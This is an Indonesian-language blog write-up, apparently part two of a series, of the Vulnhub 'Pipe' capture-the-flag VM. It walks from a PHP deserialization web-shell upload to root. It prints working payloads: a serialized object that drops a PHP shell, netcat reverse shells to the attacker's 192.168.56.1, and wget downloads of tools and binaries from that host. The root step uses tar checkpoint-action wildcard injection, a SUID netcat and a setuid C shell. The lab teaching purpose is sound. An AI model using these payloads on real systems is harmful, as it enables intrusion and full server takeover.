[Pentest Series] Vulnhub VM: /dev/random Pipe — Part 2

Habibie Faried
Sadulur
Published in
6 min readFeb 9, 2017

Halo semua!

Sekarang saya akan melanjutkan eksploitasi VM Pipe dari vulnhub.

[!] Kamu HARUS sudah membaca dan memahami writeup part1. Kalau belum dibaca, dipersilahkan untuk melihat halaman homepage saya atau sadulur dan membaca writeup itu terlebih dahulu :D

Crafting Payload

Sekarang saya mengisi payloadnya dengan shell wso.php. Langkah selanjutnya adalah melakukan encode terhadap file tersebut

$ echo $(cat wso2.5.1.php | base64 -w 0) > payload
$ more payload
PD9waHAKCiRjb2xvciA9ICIjZGY1IjsKJGRlZmF1bHRfYWN0aW9......

! Saya rasa ga mungkin sih karena bakal panjang banget. Sangat mungkin akan diblock oleh webserver. Plus ngelag juga disisi saya, yaudah yang sederhana aja kalau begitu

Sekarang saya buat shell sederhana seperti dibawah ini

$ cat shellcode.php 
<?php echo shell_exec($_GET['cmd']);?>
$ cat shellcode.php | base64 -w 0
PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWydjbWQnXSk7Pz4K

Lalu payloadnya akan menjadi seperti ini

O:3:"Log":2:{s:8:"filename";s:39:"/var/www/html/scriptz/shellcodebaru.php";s:4:"data";s:39:"<?php echo shell_exec($_GET['cmd']);?>
";}

Dan ternyata somehow shellcodebaru.php ini terupload namun tidak bisa mengambil variabel cmd.

Ini payload saya berikutnya

O:3:"Log":2:{s:8:"filename";s:27:"/var/www/html/scriptz/a.php";s:4:"data";s:74:"<?php echo shell_exec("id; ls -lah; which wget; which curl; which nc"); ?>";}

Mengakses a.php dan outputnya seperti ini

Saking seringnya mencoba haha

[!] Oh iya! Hampir kelupaan ngomong bahwa kamu harus upload dengan nama file yang baru setiap mau masukin payload. Karena hal berikut ini

file_put_contents($this->filename, $this->data, FILE_APPEND);
Kalau kamu masukin ke nama file yang sama, maka otomatis dia akan APPEND, bukan menimpa. LOL

Disitu ada file netcat, kemudian saya lihat si netcat tersebut

-rwxr-xr-x  1 root root   27K Sep 11  2014 nc.traditional

Wee netcat traditional, okay alhamdulillah mudah2an dapet shellnya deh

Untuk selanjutnya anda coba2 sendiri yah cara generate payloadnya. Saya tidak akan menjelaskan caranya kembali. Kalau masih belum jelas, coba baca dari part1 bagaimana cara saya membangun payload

Payload akhirnya akan seperti ini

O:3:"Log":2:{s:8:"filename";s:27:"/var/www/html/scriptz/b.php";s:4:"data";s:76:"<?php echo shell_exec("/bin/nc.traditional -e /bin/sh 192.168.56.1 443"); ?>";}

Lalu saya jalankan netcat listener dan mengakses file b.php

nc -lvp 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from [192.168.56.101] port 443 [tcp/https] accepted (family 2, sport 47156)
python -c "import pty; pty.spawn('/bin/bash');"
www-data@pipe:/var/www/html/scriptz$

[!] Setiap anda mau melakukan backconnect dari website. Biasakan anda menggunakan port 80 atau 443. Karena terkadang firewall target melakukan blocking terhadap seluruh outgoing port kecuali kedua port tersebut.

What’s next?

Setelah mati-matian dan mampus-mampusan mengupload shell php, pada akhirnya kita sampai di www-data.

Selanjutnya seperti biasa, kita akan mencoba mengambil root dari server. Upload dan jalankan linuxprivchecker.py

$ wget http://192.168.56.1:8000/linuxprivchecker.py
</scriptz$ wget http://192.168.56.1:8000/linuxprivchecker.py
converted 'http://192.168.56.1:8000/linuxprivchecker.py' (ANSI_X3.4-1968) -> 'http://192.168.56.1:8000/linuxprivchecker.py' (UTF-8)
--2017-01-20 22:12:29-- http://192.168.56.1:8000/linuxprivchecker.py
Connecting to 192.168.56.1:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 25304 (25K) [text/plain]
Saving to: 'linuxprivchecker.py'
linuxprivchecker.py 100%[=====================>] 24.71K --.-KB/s in 0s2017-01-20 22:12:29 (264 MB/s) - 'linuxprivchecker.py' saved [25304/25304]$ python linuxprivchecker.py > hasil.txt
python linuxprivchecker.py > hasil.txt

Hasilnya dapat dilihat disini: http://pastebin.com/YhBv2651

Setelah saya baca-baca, ada hal yang menarik

[+] World Writeable Directories for Users other than Root
drwxrwxrwx 2 rene rene 4096 Jan 20 22:12 /home/rene/backup

Ini si rene ngapain yah. Coba dibuka

-rw-r--r-- 1 rene rene  41K Jan 20 22:20 backup.tar.gz
-rw-r--r-- 1 rene rene 15K Jan 20 22:21 sys-11380.BAK
-rw-r--r-- 1 rene rene 3.1K Jan 20 22:22 sys-15823.BAK
-rw-r--r-- 1 rene rene 20K Jan 20 22:23 sys-2500.BAK

Hmm, kalau saya lihat dari jamnya. Tiap 1 menit file *.BAK ini akan bermunculan, tidak lain dan tidak bukan pasti ini kerjaan crontab

$ cat /etc/crontab
..
#
* * * * * root /root/create_backup.sh
*/5 * * * * root /usr/bin/compress.sh

Kita lihat isi kedua file tersebut

$ cat /root/create_backup.sh
cat /root/create_backup.sh
cat: /root/create_backup.sh: Permission denied
www-data@pipe:/home/rene/backup$ cat /usr/bin/compress.sh
cat /usr/bin/compress.sh
#!/bin/sh
rm -f /home/rene/backup/backup.tar.gz
cd /home/rene/backup
tar cfz /home/rene/backup/backup.tar.gz *
chown rene:rene /home/rene/backup/backup.tar.gz
rm -f /home/rene/backup/*.BAK

Hmm, mungkin ada bug di salah satu perintah tersebut (rm, cd, tar, chown, rm). Coba kita lihat aplikasi tar

$ tar --help
..
Informative output:
--checkpoint[=NUMBER] display progress messages every NUMBER th record
(default 10)
--checkpoint-action=ACTION execute ACTION on each checkpoint
..

Saya membaca execute kok jadi tertarik ingin melihat lebih lanjut. Kemudian saya mengunjungi link ini (http://www.gnu.org/software/tar/manual/html_section/tar_26.html#checkpoints)

Finally, the exec action executes a given external command. For example:$ tar -c --checkpoint=1000 --checkpoint-action=exec=/sbin/cpoint

LOL, oke artinya adalah tugas kita membuat 2 file dengan masing-masing nama

--checkpoint=1 dan --checkpoint-action=exec=/<evil binary>

[TUGAS] Hayo coba kenapa saya membuat 2 file diatas? Silahkan dicari ya jawabannya :D

Hmm tapi ingat bahwa kamu akan menulis file. Sehingga tidak sembarang string kamu bisa isi disini. Kamu bisa juga menggunakan perantara shell yang akan dipanggil pada — checkpoint-action. Persis inilah langkah yang akan saya tempuh.

Disini saya akan mencoba memberikan akses SUID root pada nc.traditional

$ ls -lah /bin/nc.traditional                                
ls -lah /bin/nc.traditional
-rwxr-xr-x 1 root root 27K Sep 11 2014 /bin/nc.traditional
www-data@pipe:/home/rene/backup$ echo > --checkpoint=1;
echo > --checkpoint=1;
www-data@pipe:/home/rene/backup$ echo > --checkpoint-action=exec=sh\ shell.sh;
echo > --checkpoint-action=exec=sh\ shell.sh;
www-data@pipe:/home/rene/backup$ echo 'chmod +s /bin/nc.traditional' > shell.sh
echo 'chmod +s /bin/nc.traditional' > shell.sh
www-data@pipe:/home/rene/backup$ chmod +x shell.sh
chmod +x shell.sh

Keluar 2 file yang saya maksud

www-data@pipe:/home/rene/backup$ ls -lah
ls -lah
total 84K
-rw-r--r-- 1 www-data www-data 1 Jan 20 22:46 --checkpoint-action=exec=sh shell.sh
-rw-r--r-- 1 www-data www-data 1 Jan 20 22:46 --checkpoint=1

Mungkin ditunggu aja kali yah, siapa tau kalau rejeki nanti tiba2 si netcat traditional sudah memiliki SUID root.

Eh, ternyata kalau memang jodoh pasti ga kemana *eaaa

Ternyata 1 menit kemudian si binary ini sudah memiliki SUID bit. Berarti payload dan cara saya berhasil!. Saya harap disini kamu sudah memiliki jawaban atas tugas kamu tadi yaaa :p

$ ls -lah /bin/nc.traditional
ls -lah /bin/nc.traditional
-rwsr-sr-x 1 root root 27K Sep 11 2014 /bin/nc.traditional

Yaudah yuk coba backconnect

$ /bin/nc.traditional -e /bin/bash 192.168.56.1 10000$ nc -lvp 10000
Listening on [0.0.0.0] (family 0, port 10000)
Connection from [192.168.56.101] port 10000 [tcp/webmin] accepted (family 2, sport 55502)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[FAILED] Sh*t ternyata masih www-data. Kok bisa??

$ uname -r
uname -r
3.16.0-4-amd64

Pada kernel yang baru, pemanggilan SUID akan benar berjalan apabila kamu benar-benar mengeset setuid(0) dan setgid(0). Hmm baiklah saatnya kita buat shell sendiri.

Crafting Binary Shell Payload

Saya pernah bahas mengenai SUID dkk pada laman ini: https://medium.com/sadulur/linux-topic-how-to-be-an-evil-with-suid-permission-dfb067124c7f#.2mzfdtpmu

Silahkan baca-baca dulu biar benar-benar mengerti apa yang kamu kerjakan *padahal mau promosi

Simpan program C ini pada komputer kamu. Lalu lakukan kompilasi

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
if (setuid(0)) {
perror("setuid");
return 1;
}
system("/bin/bash");
return 0;
}
$ gcc shell.c -o shell

Download binary shell hasil yang kamu compile ke dalam server

$ wget http://192.168.56.1:8000/shell
wget http://192.168.56.1:8000/shell
converted 'http://192.168.56.1:8000/shell' (ANSI_X3.4-1968) -> 'http://192.168.56.1:8000/shell' (UTF-8)
--2017-01-20 22:59:09-- http://192.168.56.1:8000/shell
Connecting to 192.168.56.1:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8712 (8.5K) [application/octet-stream]
Saving to: 'shell'
shell 100%[=====================>] 8.51K --.-KB/s in 0swww-data@pipe:/tmp$ chmod +x shell
chmod +x shell
www-data@pipe:/tmp$ /tmp/shell
/tmp/shell
setuid: Operation not permitted

Oke, sekarang saya buat semuanya mungkin. Lakukan binding shell dari netcat traditional ke file sh yang baru saja kita buat. Dan jangan lupa melakukan port binding dsb persis seperti cara sebelumnya (ketika masih gagal)

$ /bin/nc.traditional -e /tmp/shell 192.168.56.1 10000   $ nc -lvp 10000
Listening on [0.0.0.0] (family 0, port 10000)
Connection from [192.168.56.101] port 10000 [tcp/webmin] accepted (family 2, sport 55506)
id
uid=0(root) gid=33(www-data) groups=33(www-data)

VICTORY!, saatnya kamu ambil terminal shell root tersebut

python -c "import pty; pty.spawn('/bin/bash');"
root@pipe:/tmp# id
id
uid=0(root) gid=33(www-data) groups=33(www-data)
root@pipe:/tmp#

Membaca pesan kemenangan

Coba kamu buka /root dan baca pesan didalamnya (/root/flag.txt)

Yeay berhasil!

Epilogue

Ih seru juga ya ternyata VM ini. Thank you buat creatornya. Mudah-mudahan challenge berikutnya ga terlalu nguli dan blank kayak gini. Nguli sih lebih tepatnya karena banyak sekali unsur tebak-tebakan direktori dan asumsi dll. Which means kalau tebakan & asumsi kamu salah, yaudah kamu juga harus mencari tebakan dan asumsi lainnya. Which means juga artinya literally nguli dan capek.

Dan thanks banget buat kamu yang sudah membaca dari awal sampai habis *syukur kalau dipraktekkan juga

Stay Tuned && Bye bye..

Semoga bermanfaat! :)

Jangan lupa share artikel ini ke teman kamu yang sedang belajar hacking juga

Habibie Faried
habibiefaried@gmail.com
@habibiefaried
CISSP & OSC* Wanna Be

--

--